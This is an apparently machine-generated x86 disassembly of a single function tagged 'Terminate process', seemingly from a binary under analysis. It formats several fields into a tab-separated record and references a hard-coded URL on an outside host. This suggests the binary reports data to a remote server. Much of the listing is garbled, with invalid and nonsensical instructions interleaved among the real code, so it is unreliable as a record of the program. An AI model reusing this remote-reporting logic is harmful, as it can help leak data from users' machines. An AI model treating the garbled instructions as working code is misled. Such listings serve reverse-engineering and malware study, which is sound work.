Function at 0x40ff40
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5a0c67
mov eax, dword fs:[0]
push eax
mov eax, 0x1d30
call fcn.00434830
mov eax, dword [0x62b0b8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1d38], ecx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1d34], eax
call fcn.0043aa34
test al, al
je 0x40ffa6
mov al, byte [0x3e5e92ab]
mov eax, dword [0xfad84a1a]
test esi, ebx
pop edx
int 0xd1
mov dh, 0x21
dec eax
inc edi
lds esi, [0x7bc98831]
in al, dx
xchg edi, eax
loop 0x40ff8f
call fcn.0043ab03
pop eax
stosd dword es:[edi], eax
add al, byte [eax]
test al, al
je 0x40ffca
or eax, 0x1b80e2a1
in eax, 0xc4
jl 0x410029
inc ecx
invalid
push 0x270f
push 0
xor bl, bl
call fcn.0043a280
add esp, 8
movzx ebx, bl
cmp eax, 0x64
mov ecx, 1
cmovle ebx, ecx
call fcn.0043acf9
test eax, eax
jne 0x40fffa
test bl, bl
je 0x41047e
mov edx, dword [ebp - 0x1d34]
mov dword [ebp - 0x1d18], 0xf
mov dword [ebp - 0x1d1c], 0
mov byte [ebp - 0x1d2c], 0
cmp byte [edx], 0
jne 0x410024
xor ecx, ecx
jmp 0x410039
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410030
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1d2c]
call fcn.00401d10
lea eax, [ebp - 0x1d2c]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x1d14]
push eax
call fcn.004250cb
add esp, 8
lea ecx, [ebp - 0x1d2c]
mov byte [ebp - 4], 2
call fcn.004018d0
cmp dword [ebp - 0x1d00], 8
lea ecx, [ebp - 0x114]
lea eax, [ebp - 0x1d14]
cmovae eax, dword [ebp - 0x1d14]
push ecx
push eax
call fcn.004210dc
add esp, 8
call fcn.0043a965
retf 0xff1c
add al, byte [eax]
test al, al
je 0x4100b1
test dword [0x888d5c19], edx
loop 0x410042
aaa
int 0x77
outsd dx, dword [esi]
outsd dx, dword [esi]
xor ecx, dword [edx - 0x4e]
insd dword es:[edi], dx
lodsb al, byte [esi]
call fcn.0043a629
test al, al
je 0x4100d5
in al, 0x8e
jns 0x410126
dec esi
or dword [edi + esi*4], ebp
adc eax, 0x707da2cd
adc edi, dword [edi - 0x6b]
xchg esi, eax
mov eax, dword [esi + 0x35dcde23]
sub eax, 0x4fe8a8db
movsd dword es:[edi], dword [esi]
add al, byte [eax]
call fcn.0043a629
test al, al
je 0x4100f9
rol byte [esi + ebx*2 + 0x69181b11], 1
out dx, al
add al, 0x34
jp 0x410099
push edx
mul byte [edx + 0x10]
mov eax, 0x3902e5ef
xchg edi, eax
mov edi, 0xea02de8b
push 0x1000
lea eax, [ebp - 0x1ccc]
push 0
push eax
call fcn.00445350
add esp, 0xc
call fcn.0043a55a
test al, al
je 0x410138
push ebx
cli
mov ah, 0x7b
int1
xlatb
imul edi, dword [esi - 0x3d02699b], 0x44
scasd eax, dword es:[edi]
das
jecxz 0x4100b8
jno 0x410184
in eax, dx
sti
pop ebx
jns 0x4100fe
ror byte [edx + eax*4 + 0x16], 0xa1
mov eax, dword [0xb2e8c14c]
test al, 2
add byte [eax + eax*8 - 0x1225e38c], al
std
mov ah, 0xbf
xor dword [ebx - 0x44], esp
add byte [ebp - 0x24], 0x9b
inc edi
wait
mov bh, 0xe2
pushfd
mov edi, 0x502d0fa8
call 0x8c1b5c57
test eax, ecx
loop 0x410161
call fcn.0043a9ef
test al, al
je 0x41015d
invalid
mov eax, dword [ebp - 0x1d38]
cmp dword [eax + 0xcc], 0x10
invalid
inc dword [ebx + 0xccb8]
add byte [eax], dl
lea ecx, [eax + 0xb8]
jb 0x410174
mov ecx, dword [ecx]
cmp dword [eax + 0x54], 0x10
lea edx, [eax + 0x40]
jb 0x41017f
mov edx, dword [edx]
cmp dword [eax + 0x9c], 0x10
add byte [eax], dl
lea esi, [eax + 0x88]
jb 0x410190
mov esi, dword [esi]
cmp dword [eax + 0x84], 0x10
lea edi, [eax + 0x70]
jb 0x41019e
mov edi, dword [edi]
add eax, 0x28
cmp dword [eax + 0x14], 0x10
jb 0x4101a9
mov eax, dword [eax]
push ecx
push dword [ebp + 0x14]
lea ecx, [ebp - 0x114]
push ecx
push edx
push esi
push edi
push eax
lea eax, [ebp - 0x1ccc]
push str._s_t_s_t_s_t_s_t_s_t_d_t_s
push eax
call fcn.00409a60
add esp, 0x24
call fcn.0043a66e
add al, byte [eax]
test al, al
je 0x4101e6
xchg byte [ebx + 0x2a], bl
push edi
out dx, eax
add byte [edx - 0x27], al
mov dh, 0x96
stosd dword es:[edi], eax
jo 0x4101f2
imul ecx, dword ss:[ebp + 0x2a3f9e8], 0
call fcn.0043a5e4
test al, al
je 0x410205
int1
test eax, 0xb0dbebb4
mov ch, 0x1e
pushfd
pushal
iretd
jmp 0x4101cf
push 0xbb8
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.00445350
add esp, 0xc
mov dword [ebp - 0x1d3c], 0xbb8
cmp byte [ebp - 0x1ccc], 0
mov dword [ebp - 0x1ce8], 0xf
mov dword [ebp - 0x1cec], 0
mov byte [ebp - 0x1cfc], 0
jne 0x41024d
xor ecx, ecx
jmp 0x41025f
lea ecx, [ebp - 0x1ccc]
lea edx, [ecx + 1]
invalid
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410256
sub ecx, edx
push ecx
lea eax, [ebp - 0x1ccc]
push eax
lea ecx, [ebp - 0x1cfc]
call fcn.00401d10
lea ecx, [ebp - 0x1d3c]
mov byte [ebp - 4], 3
cmp dword [ebp - 0x1ce8], 0x10
lea eax, [ebp - 0x1cfc]
push ecx
cmovae eax, dword [ebp - 0x1cfc]
lea ecx, [ebp - 0xccc]
push ecx
push dword [ebp - 0x1cec]
push eax
call fcn.0043c0a9
add esp, 0x10
call fcn.0043a9aa
test al, al
je 0x4102c0
fstp qword [esi]
dec esi
aam 0x90
pop es
mov cl, 0x4c
inc edi
into
inc ecx
jbe 0x410256
cmp al, 0xe1
and eax, 0x2a433e8
add byte [eax + eax*8 + 0x75271774], al
test dword [ebx + 0x3d], ecx
mov esp, 0x50720011
call fcn.0043a6f8
test al, al
je 0x4102e0
daa
jne 0x410251
dec ebx
cmp eax, 0x720011bc
push eax
mov dh, 0xea
or ch, dh
call 0x7449cec6
sti
sbb dh, byte [ebx - 0x5d0017b8]
add al, byte [eax]
call fcn.0043a5e4
test al, al
je 0x410308
sub eax, 0x23bbc7b1
test byte [edx + 3], dl
lahf
jae 0x4102a7
imul eax, ebp, 0xeace00a5
cmp byte [ebx - 0x1067746c], cl
mov esp, 0xb20a2b2d
xchg esi, eax
lea ecx, [ebp - 0x1d2d]
call fcn.00403100
lea eax, [ebp - 0xccc]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x1d2d]
call fcn.0043ba93
call fcn.0043a55a
test al, al
je 0x41034b
dec eax
lodsb al, byte [esi]
lodsb al, byte [esi]
adc al, 0x55
mov ah, 0xaf
push edx
jg 0x410394
leave
out dx, eax
add dl, dh
arpl ax, dx
mov ebp, 0xdf38d999
invalid
push 0x45
push str.https:__tjtv3.wn51.com__60755e51385482a561784ed8c7faaeafc0bbbb5ac5
lea ecx, [ebp - 0x1ce4]
mov dword [ebp - 0x1cd0], 0xf
mov dword [ebp - 0x1cd4], 0
mov byte [ebp - 0x1ce4], 0
call fcn.00401d10
mov byte [ebp - 4], 5
cmp byte [ebp - 0xccc], 0
jne 0x410389
xor bl, ah
invalid
xor ecx, ecx
jmp 0x41039b
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410392
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x1ce4]
call fcn.00407140
call fcn.0043a6f8
test al, al
je 0x4103d6
sub dword [edi + 0x22461fd0], esi
mov cs, word [edx]
int1
jge 0x41035a
xchg edi, eax
test dword [edx - 0x72], 0x29914cbd
mov al, byte [0x13c1485c]
push eax
int1
sti
dec esi
movsb byte es:[edi], byte [esi]
hlt
call fcn.0043a6f8
test al, al
je 0x4103fe
sal dword [ebp + 0x3daa809a], cl
ja 0x410446
ljmp 0xa95a:0x828e21dc
cmp dword [ebp - 0x1cd0], 0x10
lea eax, [ebp - 0x1ce4]
cmovae eax, dword [ebp - 0x1ce4]
push eax
call fcn.00439acc
add esp, 4
call fcn.0043ab03
test al, al
je 0x41043f
push ebp
pushal
cmp al, 0x3a
jge 0x4103c2
je 0x4103bf
mov dword [0x9aef415a], eax
mov al, byte [0x19898f33]
ljmp 0x71e3
lea ecx, [ebp - 0x1ce4]
call fcn.004018d0
lea ecx, [ebp - 0x1d2d]
call fcn.00401450
lea ecx, [ebp - 0x1cfc]
call fcn.004018d0
mov eax, dword [ebp - 0x1d00]
cmp eax, 8
jb 0x41047e
xchg byte [edi + edi*8], dl
dec dword [ebp - 0x1d2c73]
invalid
inc eax
lea ecx, [ebp - 0x1d14]
push eax
push dword [ebp - 0x1d14]
call fcn.00401f40
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00433ee3
mov esp, ebp
pop ebp
ret 0x10